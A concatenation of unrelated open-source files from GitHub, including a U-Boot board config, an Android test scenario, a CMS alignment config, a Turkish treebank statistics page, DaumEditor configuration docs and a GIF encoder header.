CONFIG_SYS_MONITOR_BASE (CONFIG_SYS_FLASH_BASE) #define CONFIG_SYS_MONITOR_LEN (256 * 1024) /* Size of DRAM reserved for malloc() use */ #define CONFIG_SYS_MALLOC_LEN (1024 * 1024) /* size in bytes reserved for initial data */ #define CONFIG_SYS_GBL_DATA_SIZE (256) #define CONFIG_SYS_BOOTMAPSZ (8 * 1024 * 1024) /* * NOR Flash ( Spantion S29GL256P ) */ #define CONFIG_SYS_FLASH_CFI #define CONFIG_FLASH_CFI_DRIVER #define CONFIG_SYS_FLASH_BASE (0xA0000000) #define CONFIG_SYS_MAX_FLASH_BANKS (1) #define CONFIG_SYS_MAX_FLASH_SECT 256 #define CONFIG_SYS_FLASH_BANKS_LIST { CONFIG_SYS_FLASH_BASE } #define CONFIG_ENV_IS_IN_FLASH #define CONFIG_ENV_SECT_SIZE 0x40000 #define CONFIG_ENV_SIZE (CONFIG_ENV_SECT_SIZE) #define CONFIG_ENV_ADDR (CONFIG_SYS_MONITOR_BASE + CONFIG_SYS_MONITOR_LEN) /* * SuperH Clock setting */ #define CONFIG_SYS_CLK_FREQ 60000000 #define CONFIG_SYS_TMU_CLK_DIV 4 #define CONFIG_SYS_HZ 1000 #define CONFIG_SYS_PLL_SETTLING_TIME 100/* in us */ /* * IDE support */ #define CONFIG_IDE_RESET 1 #define CONFIG_SYS_PIO_MODE 1 #define CONFIG_SYS_IDE_MAXBUS 1 /* IDE bus */ #define CONFIG_SYS_IDE_MAXDEVICE 1 #define CONFIG_SYS_ATA_BASE_ADDR 0xb4000000 #define CONFIG_SYS_ATA_STRIDE 2 /* 1bit shift */ #define CONFIG_SYS_ATA_DATA_OFFSET 0x1000 /* data reg offset */ #define CONFIG_SYS_ATA_REG_OFFSET 0x1000 /* reg offset */ #define CONFIG_SYS_ATA_ALT_OFFSET 0x800 /* alternate register offset */ /* * SuperH PCI Bridge Configration */ #define CONFIG_PCI #define CONFIG_SH4_PCI #define CONFIG_SH7751_PCI #define CONFIG_PCI_PNP #define CONFIG_PCI_SCAN_SHOW 1 #define __io #define __mem_pci #define CONFIG_PCI_MEM_BUS 0xFD000000 /* Memory space base addr */ #define CONFIG_PCI_MEM_PHYS CONFIG_PCI_MEM_BUS #define CONFIG_PCI_MEM_SIZE 0x01000000 /* Size of Memory window */ #define CONFIG_PCI_IO_BUS 0xFE240000 /* IO space base address */ #define CONFIG_PCI_IO_PHYS CONFIG_PCI_IO_BUS #define CONFIG_PCI_IO_SIZE 0x00040000 /* Size of IO window */ #define CONFIG_PCI_SYS_BUS (CONFIG_SYS_SDRAM_BASE & 0x1fffffff) #define CONFIG_PCI_SYS_PHYS (CONFIG_SYS_SDRAM_BASE & 0x1fffffff) #define CONFIG_PCI_SYS_SIZE CONFIG_SYS_SDRAM_SIZE /* * Network device (RTL8139) support */ #define CONFIG_NET_MULTI #define CONFIG_RTL8139 #endif /* __CONFIG_H */
{ "pile_set_name": "Github" }
/* * Copyright (C) 2008 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package android.widget.scroll; import android.util.ScrollViewScenario; import android.widget.Button; import android.widget.LinearLayout; /** * A series of short buttons, some of which are embedded within another * layout. */ public class ShortButtons extends ScrollViewScenario { private final int mNumButtons = 10; protected final float mButtonHeightFactor = 0.2f; public int getNumButtons() { return mNumButtons; } public Button getButtonAt(int index) { if (index < 3) { return getContentChildAt(index); } else { LinearLayout ll = getContentChildAt(3); return (Button) ll.getChildAt(index - 3); } } @Override protected void init(Params params) { final int numButtonsInSubLayout = getNumButtons() - 3; params.addButtons(3, "top-level", mButtonHeightFactor) .addVerticalLLOfButtons("embedded", numButtonsInSubLayout, numButtonsInSubLayout * mButtonHeightFactor); } }
{ "pile_set_name": "Github" }
import FWCore.ParameterSet.Config as cms process = cms.Process( "laserAlignment" ) process.load( "Geometry.CMSCommonData.cmsIdealGeometryXML_cfi" ) process.load( "Geometry.TrackerNumberingBuilder.trackerNumberingGeometry_cfi" ) #process.load( "CondCore.DBCommon.CondDBSetup_cfi" ) ## message logger process.MessageLogger = cms.Service( "MessageLogger", debugModules = cms.untracked.vstring( 'LaserAlignment' ), cerr = cms.untracked.PSet( threshold = cms.untracked.string( 'ERROR' ) ), cout = cms.untracked.PSet( threshold = cms.untracked.string( 'INFO' ) ), destinations = cms.untracked.vstring( 'cout', 'cerr' ) ) ## all db records ### THIS ONE HAS BEEN LOCALLY MODIFIED!!! #process.load( "Configuration.StandardSequences.FrontierConditions_GlobalTag_noesprefer_cff" ) #process.load( "Configuration.StandardSequences.FrontierConditions_GlobalTag_cff" ) #process.GlobalTag.globaltag = 'IDEAL_V12::All' #process.GlobalTag.globaltag = 'CRAFT_ALL_V11::All' process.load( "Configuration.StandardSequences.FrontierConditions_GlobalTag_cff" ) #process.GlobalTag.globaltag = 'GR09_31X_V5P::All' process.GlobalTag.globaltag = cms.string('GR_R_37X_V6::All') ## get the tracker alignment records from this file process.trackerAlignment = cms.ESSource( "PoolDBESSource", process.CondDBSetup, timetype = cms.string( 'runnumber' ), toGet = cms.VPSet( cms.PSet( record = cms.string( 'TrackerAlignmentRcd' ), tag = cms.string( 'Alignments' ) ), cms.PSet( record = cms.string( 'TrackerAlignmentErrorExtendedRcd' ), tag = cms.string( 'AlignmentErrorsExtended' ) ) ), #connect = cms.string( 'sqlite_file:/afs/cern.ch/user/o/olzem/cms/cmssw/CMSSW_2_2_12/src/Alignment/LaserAlignment/test/Alignments_S.db' ) connect = cms.string( 'sqlite_file:/afs/cern.ch/user/w/wittmer/CMSSW_3_7_0_patch3/src/Alignment/LaserAlignment/test/Alignments.db' ) ) ## prefer these alignment record process.es_prefer_trackerAlignment = cms.ESPrefer( "PoolDBESSource", "trackerAlignment" ) process.load( "Geometry.TrackerGeometryBuilder.trackerGeometry_cfi" ) process.TrackerDigiGeometryESModule.applyAlignment = True # fast standalone reco output: an sql file import CondCore.DBCommon.CondDBSetup_cfi process.PoolDBOutputService = cms.Service( "PoolDBOutputService", CondCore.DBCommon.CondDBSetup_cfi.CondDBSetup, timetype = cms.untracked.string( 'runnumber' ), connect = cms.string( 'sqlite_file:Alignments.db' ), toPut = cms.VPSet( cms.PSet( record = cms.string( 'TrackerAlignmentRcd' ), tag = cms.string( 'Alignments' ) ), cms.PSet( record = cms.string( 'TrackerAlignmentErrorExtendedRcd' ), tag = cms.string( 'AlignmentErrorsExtended' ) ) ) ) process.PoolDBOutputService.DBParameters.messageLevel = 2 ## input files process.source = cms.Source( "PoolSource", fileNames = cms.untracked.vstring( #'file:/afs/cern.ch/user/o/olzem/scratch0/filterDQM/70664/TkAlLAS.root' 'file:TkAlLAS_Run140124_LASFilter_test.root' #'file:/afs/cern.ch/user/o/olzem/scratch0/cms/las/prod/nt/TkAlLAS_0.root', #'file:/afs/cern.ch/user/o/olzem/scratch0/cms/las/prod/nt/TkAlLAS_1.root', #'file:/afs/cern.ch/user/o/olzem/scratch0/cms/las/prod/nt/TkAlLAS_2.root', #'file:/afs/cern.ch/user/o/olzem/scratch0/cms/las/prod/nt/TkAlLAS_3.root', #'file:/afs/cern.ch/user/o/olzem/scratch0/cms/las/prod/nt/TkAlLAS_4.root', #'file:/afs/cern.ch/user/o/olzem/scratch0/cms/las/prod/nt/TkAlLAS_5.root', #'file:/afs/cern.ch/user/o/olzem/scratch0/cms/las/prod/nt/TkAlLAS_6.root', #'file:/afs/cern.ch/user/o/olzem/scratch0/cms/las/prod/nt/TkAlLAS_7.root', #'file:/afs/cern.ch/user/o/olzem/scratch0/cms/las/prod/nt/TkAlLAS_8.root', #'file:/afs/cern.ch/user/o/olzem/scratch0/cms/las/prod/nt/TkAlLAS_9.root', #'file:/afs/cern.ch/user/o/olzem/scratch0/cms/las/prod/nt/TkAlLAS_10.root', #'file:/afs/cern.ch/user/o/olzem/scratch0/cms/las/prod/nt/TkAlLAS_11.root', #'file:/afs/cern.ch/user/o/olzem/scratch0/cms/las/prod/nt/TkAlLAS_12.root', #'file:/afs/cern.ch/user/o/olzem/scratch0/cms/las/prod/nt/TkAlLAS_13.root', #'file:/afs/cern.ch/user/o/olzem/scratch0/cms/las/prod/nt/TkAlLAS_14.root', #'file:/afs/cern.ch/user/o/olzem/scratch0/cms/las/prod/nt/TkAlLAS_15.root' ) ) process.maxEvents = cms.untracked.PSet( input = cms.untracked.int32( 2000 ) ) ## the LaserAlignment module process.load( "Alignment.LaserAlignment.LaserAlignment_cfi" ) process.LaserAlignment.DigiProducersList = cms.VPSet( cms.PSet( DigiLabel = cms.string( 'ZeroSuppressed' ), DigiProducer = cms.string( 'laserAlignmentT0Producer' ), #simSiStripDigis DigiType = cms.string( 'Processed' ) ) ) process.LaserAlignment.SaveToDbase = True process.LaserAlignment.SaveHistograms = True process.LaserAlignment.SubtractPedestals = False process.LaserAlignment.UpdateFromInputGeometry = False process.LaserAlignment.EnableJudgeZeroFilter = True process.LaserAlignment.JudgeOverdriveThreshold = 200 process.LaserAlignment.PeakFinderThreshold = 2. process.LaserAlignment.ApplyBeamKinkCorrections = True process.LaserAlignment.MaskTECModules = ( # CRAFT run 70664: # no-signal modules (dead power groups) 470405768, 470390664, 470405832, 470390728, 470160520, 470160584, # other no-signal modules (low amplitude, etc) 470045128, # TEC+ Ring4 Beam0 (AT shared) 470307208, 470323592, 470339976, 470356360, 470372744, 470389128, 470405512, 470421896, 470438280, # TEC+ Ring4 Beam3 (AT shared) 470307976, 470324360, 470340744, 470357128, 470373512, 470389896, 470406280, 470422664, 470439048, # TEC+ Ring4 Beam5 (AT shared) 470308488, 470324872, 470341256, 470357640, 470374024, 470390408, 470406792, 470423176, 470439560, # TEC- Ring4 Beam0 (AT shared) 470045064, 470061448, 470077832, 470094216, 470110600, 470126984, 470143368, 470159752, 470176136, # TEC- Ring4 Beam3 (AT shared) 470045832, 470062216, 470078600, 470094984, 470111368, 470127752, 470144136, 470160520, 470176904, # TEC- Ring4 Beam5 (AT shared) 470046344, 470062728, 470079112, 470095496, 470111880, 470128264, 470144648, 470161032, 470177416 ) process.LaserAlignment.MaskATModules = ( # CRAFT run 70664: # no-signal modules (too high/low amplitude, etc) 470373004, 470110852, 470094732, 470111116, 470095236, 470111620, 470112132, 470112396, # TEC(AT)+ Beam0 (TEC shared) 470307208, 470323592, 470339976, 470356360, 470372744, # TEC(AT)+ Beam3 (TEC shared) 470307976, 470324360, 470340744, 470357128, 470373512, # TEC(AT)+ Beam5 (TEC shared) 470308488, 470324872, 470341256, 470357640, 470374024, # TEC(AT)- Beam0 (TEC shared) 470045064, 470061448, 470077832, 470094216, 470110600, # TEC(AT)- Beam3 (TEC shared) 470045832, 470062216, 470078600, 470094984, 470111368, # TEC(AT)- Beam5 (TEC shared) 470046344, 470062728, 470079112, 470095496, 470111880 ) ## special parameters for LaserAlignment process.LaserAlignment.ForceFitterToNominalStrips = False ## the output file containing the TkLasBeamCollection ## for the track based interface process.out = cms.OutputModule( "PoolOutputModule", fileName = cms.untracked.string( 'tkLasBeams.root' ), outputCommands = cms.untracked.vstring( 'drop *', "keep TkLasBeams_*_*_*" ) ) ## for debugging process.dump = cms.EDAnalyzer("EventContentAnalyzer") process.alignment = cms.Sequence( process.LaserAlignment ) process.laser = cms.Path( process.alignment ) process.e = cms.EndPath( process.out )
{ "pile_set_name": "Github" }
-- boundary1.test -- -- db eval { -- SELECT a FROM t1 WHERE rowid > 16383 ORDER BY rowid DESC -- } SELECT a FROM t1 WHERE rowid > 16383 ORDER BY rowid DESC
{ "pile_set_name": "Github" }
/* * Copyright (c) 2014, NVIDIA CORPORATION. All rights reserved. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. */ #ifndef __NOUVEAU_PLATFORM_H__ #define __NOUVEAU_PLATFORM_H__ #include "nouveau_drm.h" extern struct platform_driver nouveau_platform_driver; #endif
{ "pile_set_name": "Github" }
#pragma once #include <ostream> #include "../util/util_enum.h" #include "vulkan_loader_fn.h" std::ostream& operator << (std::ostream& os, VkPipelineCacheHeaderVersion e); std::ostream& operator << (std::ostream& os, VkResult e); std::ostream& operator << (std::ostream& os, VkFormat e); std::ostream& operator << (std::ostream& os, VkImageType e); std::ostream& operator << (std::ostream& os, VkImageTiling e); std::ostream& operator << (std::ostream& os, VkImageLayout e); std::ostream& operator << (std::ostream& os, VkImageViewType e); std::ostream& operator << (std::ostream& os, VkPresentModeKHR e); std::ostream& operator << (std::ostream& os, VkColorSpaceKHR e); std::ostream& operator << (std::ostream& os, VkOffset2D e); std::ostream& operator << (std::ostream& os, VkOffset3D e); std::ostream& operator << (std::ostream& os, VkExtent2D e); std::ostream& operator << (std::ostream& os, VkExtent3D e);
{ "pile_set_name": "Github" }
--- layout: base title: 'Statistics of CCONJ in UD_Turkish-PUD' udver: '2' --- ## Treebank Statistics: UD_Turkish-PUD: POS Tags: `CCONJ` There are 9 `CCONJ` lemmas (0%), 9 `CCONJ` types (0%) and 493 `CCONJ` tokens (3%). Out of 16 observed tags, the rank of `CCONJ` is: 12 in number of lemmas, 13 in number of types and 9 in number of tokens. The 10 most frequent `CCONJ` lemmas: <em>ve, veya, ile, hem, ya, ancak, ama, and, çünkü</em> The 10 most frequent `CCONJ` types: <em>ve, veya, ile, hem, ya, ancak, ama, and, çünkü</em> The 10 most frequent ambiguous lemmas: <em>ve</em> (<tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 422, <tt><a href="tr_pud-pos-ADV.html">ADV</a></tt> 3), <em>veya</em> (<tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 20, <tt><a href="tr_pud-pos-ADV.html">ADV</a></tt> 1), <em>ile</em> (<tt><a href="tr_pud-pos-ADP.html">ADP</a></tt> 55, <tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 17), <em>ya</em> (<tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 11, <tt><a href="tr_pud-pos-ADV.html">ADV</a></tt> 3), <em>ancak</em> (<tt><a href="tr_pud-pos-ADV.html">ADV</a></tt> 48, <tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 6), <em>ama</em> (<tt><a href="tr_pud-pos-ADV.html">ADV</a></tt> 6, <tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 3), <em>and</em> (<tt><a href="tr_pud-pos-PROPN.html">PROPN</a></tt> 2, <tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 1, <tt><a href="tr_pud-pos-NOUN.html">NOUN</a></tt> 1), <em>çünkü</em> (<tt><a href="tr_pud-pos-ADV.html">ADV</a></tt> 4, <tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 1) The 10 most frequent ambiguous types: <em>ve</em> (<tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 420, <tt><a href="tr_pud-pos-ADV.html">ADV</a></tt> 1), <em>ile</em> (<tt><a href="tr_pud-pos-ADP.html">ADP</a></tt> 55, <tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 17), <em>ya</em> (<tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 11, <tt><a href="tr_pud-pos-ADV.html">ADV</a></tt> 3), <em>ancak</em> (<tt><a href="tr_pud-pos-ADV.html">ADV</a></tt> 29, <tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 6), <em>ama</em> (<tt><a href="tr_pud-pos-ADV.html">ADV</a></tt> 4, <tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 3), <em>and</em> (<tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 1, <tt><a href="tr_pud-pos-NOUN.html">NOUN</a></tt> 1, <tt><a href="tr_pud-pos-PROPN.html">PROPN</a></tt> 1), <em>çünkü</em> (<tt><a href="tr_pud-pos-ADV.html">ADV</a></tt> 4, <tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 1) * <em>ve</em> * <tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 420: <em>Söylediği <b>ve</b> yaptığı şeyler gerçekten inanılmaz .</em> * <tt><a href="tr_pud-pos-ADV.html">ADV</a></tt> 1: <em>Bu üç faktör çalışmada , ayaklanma yüzünden kaybolan kazançların yansıması olarak yorumlanmış <b>ve</b> bu nedenle daha düşük kazanç isyanı teşvik etmiştir .</em> * <em>ile</em> * <tt><a href="tr_pud-pos-ADP.html">ADP</a></tt> 55: <em>Woods <b>ile</b> yazışarak , bir etimoloji ortaya çıkarmaya çalıştım .</em> * <tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 17: <em>Granit adaları ; Seyşeller ve Tioman <b>ile</b> Saint Helena gibi volkanik adaları kapsar .</em> * <em>ya</em> * <tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 11: <em>Ancak onda <b>ya</b> da başkalarına karşı davranışlarında sanatsal başka hiçbir şey yok tu .</em> * <tt><a href="tr_pud-pos-ADV.html">ADV</a></tt> 3: <em>Peki <b>ya</b> Avustralya'nın bu konuda ki duruşu ?</em> * <em>ancak</em> * <tt><a href="tr_pud-pos-ADV.html">ADV</a></tt> 29: <em>Pyongyang'da akıllı telefon kullanan bazı insanlar gördüm , <b>ancak</b> çok daha az dı .</em> * <tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 6: <em>Bu sefer ona ulaştı , <b>ancak</b> artık kendisiyle evlenmek istemediğine inanmayı reddetti .</em> * <em>ama</em> * <tt><a href="tr_pud-pos-ADV.html">ADV</a></tt> 4: <em>Ben de onlarla izlemek istedim , <b>ama</b> sonunda bensiz izlemek istediklerine karar verdiler .</em> * <tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 3: <em>Wright , Poole , Dorset'de doğdu <b>ama</b> daha çok Wells , Somerset'te büyüdü .</em> * <em>and</em> * <tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 1: <em>New York City Health <b>and</b> Hospitals Corporation'ın küresel büyükelçiliği ve Harvard Business School'da ona bir yer verilmesi daha sıra dışı mükafatları arasında yer almakta .</em> * <tt><a href="tr_pud-pos-NOUN.html">NOUN</a></tt> 1: <em>2009 yılına gelindiğinde , The Power of Now <b>and</b> A New Earth'ün Kuzey Amerika'da ki toplam satışları tahmini olarak sırasıyla üç milyon ve beş milyona ulaştı .</em> * <tt><a href="tr_pud-pos-PROPN.html">PROPN</a></tt> 1: <em>On a Wing <b>and</b> a Prayer ( 1992 ) , onu Stealers Wheel ortağı Egan ile birkaç parçada bir araya getirdi .</em> * <em>çünkü</em> * <tt><a href="tr_pud-pos-ADV.html">ADV</a></tt> 4: <em>Ülkenin batı kısmından farklılaşır ; <b>çünkü</b> belirgin topografik özellikleri kıyıya paralel değildir .</em> * <tt><a href="tr_pud-pos-CCONJ.html">CCONJ</a></tt> 1: <em>Ve açık bir ruh ve zihinle karşılanmaları gerekir , <b>çünkü</b> yeni nesil güzelliği ve umudu oluşturuyorlar .</em> ## Morphology The form / lemma ratio of `CCONJ` is 1.000000 (the average of all parts of speech is 1.503294). The 1st highest number of forms (1) was observed with the lemma “ama”: <em>ama</em>. The 2nd highest number of forms (1) was observed with the lemma “ancak”: <em>ancak</em>. The 3rd highest number of forms (1) was observed with the lemma “and”: <em>and</em>. `CCONJ` occurs with 1 features: <tt><a href="tr_pud-feat-Number.html">Number</a></tt> (1; 0% instances) `CCONJ` occurs with 1 feature-value pairs: `Number=Sing` `CCONJ` occurs with 2 feature combinations. The most frequent feature combination is `_` (492 tokens). Examples: <em>ve, veya, ile, hem, ya, ancak, ama, çünkü</em> ## Relations `CCONJ` nodes are attached to their parents using 5 different relations: <tt><a href="tr_pud-dep-cc.html">cc</a></tt> (482; 98% instances), <tt><a href="tr_pud-dep-cc-preconj.html">cc:preconj</a></tt> (8; 2% instances), <tt><a href="tr_pud-dep-advmod.html">advmod</a></tt> (1; 0% instances), <tt><a href="tr_pud-dep-conj.html">conj</a></tt> (1; 0% instances), <tt><a href="tr_pud-dep-flat.html">flat</a></tt> (1; 0% instances) Parents of `CCONJ` nodes belong to 8 different parts of speech: <tt><a href="tr_pud-pos-NOUN.html">NOUN</a></tt> (261; 53% instances), <tt><a href="tr_pud-pos-VERB.html">VERB</a></tt> (85; 17% instances), <tt><a href="tr_pud-pos-PROPN.html">PROPN</a></tt> (71; 14% instances), <tt><a href="tr_pud-pos-ADJ.html">ADJ</a></tt> (64; 13% instances), <tt><a href="tr_pud-pos-NUM.html">NUM</a></tt> (6; 1% instances), <tt><a href="tr_pud-pos-PRON.html">PRON</a></tt> (3; 1% instances), <tt><a href="tr_pud-pos-ADV.html">ADV</a></tt> (2; 0% instances), <tt><a href="tr_pud-pos-X.html">X</a></tt> (1; 0% instances) 479 (97%) `CCONJ` nodes are leaves. 14 (3%) `CCONJ` nodes have one child. The highest child degree of a `CCONJ` node is 1. Children of `CCONJ` nodes are attached using 2 different relations: <tt><a href="tr_pud-dep-fixed.html">fixed</a></tt> (12; 86% instances), <tt><a href="tr_pud-dep-punct.html">punct</a></tt> (2; 14% instances) Children of `CCONJ` nodes belong to 2 different parts of speech: <tt><a href="tr_pud-pos-ADV.html">ADV</a></tt> (12; 86% instances), <tt><a href="tr_pud-pos-PUNCT.html">PUNCT</a></tt> (2; 14% instances)
{ "pile_set_name": "Github" }
## Configuration ### Configuration Object The configuration object is just plain old javascript object to customize your editor instance. You can set the values on your own before initializing a editor, and then pass it to the editor constructor. Usage: var config = { // set the values in javascript object literal txHost: "http://your.domain.com", txPath: "/editor/path", wrapper: "wrapper_element_id", form: "form_name", ....... }; EditorJSLoader.ready(function(Editor) { var editor = new Editor(config); }); #### Configuration Builder _TODO introduce `EditorConfigBuilder`_ - - - ### Required Fields #### txHost * __Required__ * Key: `config.txHost` * Type: `string` #### txPath * __Required__ * Key: `config.txPath` * Type: `string` #### wrapper * __Required__ * Key: `config.wrapper` * Type: `string` The id of an element which contains DaumEditor. #### form * __Required__ * Key: `config.form` * Type: `string` The name of a form which is to be sumbitted. Editor.save() will submit this form. - - - ### Canvas Configure WYSIWYG area #### showGuideArea * Key: `config.canvas.showGuideArea` * Type: `boolean` * Defaults: `true` Show or hide content width guide on canvas #### readonly * Key: `config.canvas.readonly` * Type: `boolean` * Defaults: `false` Disable editing canvas #### styles * Key: `config.canvas.styles` * Type: `object` * Properties: * `color`: Font color * `fontFamily` * `fontSize` * `backgroundColor` * `lineHeight` * `padding` * Defaults: [See trex/canvas.js](https://github.com/daumcorp/DaumEditor/blob/development/daumeditor/js/trex/canvas.js#L17) Set styles of canvas area { canvas: { styles: { color: "#123456", fontFamily: "Verdana", fontSize: "10pt", backgroundColor: "#fff", lineHeight: "1.5", padding: "8px" }, showGuideArea: false } } - - - ### Size #### contentWidth * Key: `config.size.contentWidth` * Type: `integer` * Default: auto-computed value - - - ### Resizer #### minHeight * Key: `config.resizer.minHeight` * Type: `integer` * Default: `200` - - - ### Events #### preventUnload * Key: `config.events.preventUnload` * Type: `booloean` * Default: `true` - - - ### Sidebar #### Attachbox ##### show * Key: `config.sidebar.attachbox.show` * Type: `boolean` * Defaults: `false` Set the Attachbox's Visibility { sidebar: { attachbox: { show: true } } } #### Capacity ##### maximum * Key: `config.sidebar.capacity.maximum` * Type: `Number` * Defaults: `3145728` (3 MB) Set total maximum bytes of all attachments { sidebar: { capacity: { maximum: 10 * 1024 * 1024 // 10 MB } } } - - - ### Misc. #### initializedId * Key: `config.initializedId` * Type: `string` * Defaults: empty string #### txIconPath * Key: `config.txIconPath` * Type: `string` * Defaults: `#txHost#txPath/images/icon/editor/` Base path of the editor image (e.g. toolbar icon) directory. URL for the `daumeditor/images/icon/` directory #### txDecoPath * Key: `config.txDecoPath` * Type: `string` * Defaults: `#txHost#txPath/images/deco/contents/` Base path of the editor contents image (e.g. emoticon) directory. URL for the `daumeditor/images/deco/` directory { txIconPath: "http://yourcdnserver/daumeditor/images/icon/editor/", txDecoPath: "http://yourcdnserver/daumeditor/images/deco/contents/" }
{ "pile_set_name": "Github" }
.. 请确保至少包含基本的 `toctree` 指令. .. _cpp_contents: C++ 风格指南 - 内容目录 ======================================== .. contents:: :backlinks: none .. toctree:: index headers scoping classes functions magic others naming comments formatting exceptions end
{ "pile_set_name": "Github" }
#%RAML 1.0 title: My API With Types types: MapOfNumbers: type: object properties: []: type: number
{ "pile_set_name": "Github" }
# core-util-is The `util.is*` functions introduced in Node v0.12.
{ "pile_set_name": "Github" }
/* * This header is generated by classdump-dyld 0.7 * on Sunday, July 5, 2015 at 9:43:16 PM Eastern Daylight Time * Operating System: Version 8.4 (Build 12H143) * Image Source: /System/Library/PrivateFrameworks/WebBookmarks.framework/WebBookmarks * classdump-dyld is licensed under GPLv3, Copyright © 2013 by Elias Limneos. */ @class NSMutableArray, NSString, WebBookmarkCollection; @interface WebBookmarkList : NSObject { NSMutableArray* _bookmarks; unsigned _bookmarkCount; unsigned _skipOffset; char _customQuery; NSString* _query; unsigned _folderID; WebBookmarkCollection* _collection; } @property (nonatomic,readonly) unsigned folderID; //@synthesize folderID=_folderID - In the implementation block -(void)dealloc; -(unsigned)folderID; -(unsigned)_reverseOrderIndex:(unsigned)arg1 ; -(id)bookmarkArray; -(id)initWithBookmarksWhere:(id)arg1 collection:(id)arg2 bookmarkCount:(unsigned)arg3 skipOffset:(unsigned)arg4 ; -(id)initWithFolderID:(unsigned)arg1 inCollection:(id)arg2 bookmarkCount:(unsigned)arg3 skipOffset:(unsigned)arg4 includeHidden:(char)arg5 ; -(id)bookmarkAtIndex:(unsigned)arg1 ; -(void)_moveBookmarkAtIndex:(unsigned)arg1 toIndex:(unsigned)arg2 ; -(unsigned)bookmarkCount; -(id)bookmarkArrayRequestingCount:(unsigned)arg1 ; @end
{ "pile_set_name": "Github" }
/* simple gif encoder * Copyright (C) 2005 Benjamin Otte <[email protected] * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Library General Public * License as published by the Free Software Foundation; either * version 3 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Library General Public License for more details. * * You should have received a copy of the GNU Library General Public * License along with this library; if not, write to the * Free Software Foundation, Inc., 59 Temple Place - Suite 330, * Boston, MA 02111-1307, USA. */ #include <glib.h> #include <gtk/gtk.h> #ifndef __HAVE_GIFENC_H__ #define __HAVE_GIFENC_H__ typedef struct _GifencPalette GifencPalette; typedef struct _GifencColor GifencColor; typedef struct _Gifenc Gifenc; typedef gboolean (* GifencWriteFunc) (gpointer closure, const guchar *data, gsize len, GError **error); typedef enum { GIFENC_STATE_NEW = 0, GIFENC_STATE_INITIALIZED, GIFENC_STATE_CLOSED, } GifencState; struct _GifencPalette { gboolean alpha; guint32 * colors; guint num_colors; guint byte_order; gpointer data; guint (* lookup) (gpointer data, guint32 color, guint32 * resulting_color); void (* free) (gpointer data); }; struct _Gifenc { /* error checking */ GifencState state; /* output */ GifencWriteFunc write_func; gpointer write_data; GDestroyNotify write_destroy; GByteArray * buffer; guint bits; guint n_bits; /* image */ guint width; guint height; guint byte_order; GifencPalette * palette; }; Gifenc * gifenc_new (guint width, guint height, GifencWriteFunc write_func, gpointer write_data, GDestroyNotify write_destroy); gboolean gifenc_free (Gifenc * enc); gboolean gifenc_initialize (Gifenc * enc, GifencPalette * palette, gboolean loop, GError ** error); gboolean gifenc_add_image (Gifenc * enc, guint x, guint y, guint width, guint height, guint display_millis, guint8 * data, guint rowstride, GError ** error); gboolean gifenc_close (Gifenc * gifenc, GError ** error); guint gifenc_get_width (Gifenc * gifenc); guint gifenc_get_height (Gifenc * gifenc); void gifenc_dither_rgb (guint8 * target, guint target_rowstride, const GifencPalette * palette, const guint8 * data, guint width, guint height, guint rowstride); gboolean gifenc_dither_rgb_with_full_image (guint8 * target, guint target_rowstride, guint8 * full, guint full_rowstride, const GifencPalette * palette, const guint8 * data, guint width, guint height, guint rowstride, GdkRectangle * rect_out); /* from quantize.c */ void gifenc_palette_free (GifencPalette * palette); GifencPalette * gifenc_palette_get_simple (gboolean alpha); GifencPalette * gifenc_quantize_image (const guint8 * data, guint width, guint height, guint rowstride, gboolean alpha, guint max_colors); guint gifenc_palette_get_alpha_index (const GifencPalette * palette); guint gifenc_palette_get_num_colors (const GifencPalette * palette); guint32 gifenc_palette_get_color(const GifencPalette * palette, guint id); #endif /* __HAVE_GIFENC_H__ */
{ "pile_set_name": "Github" }
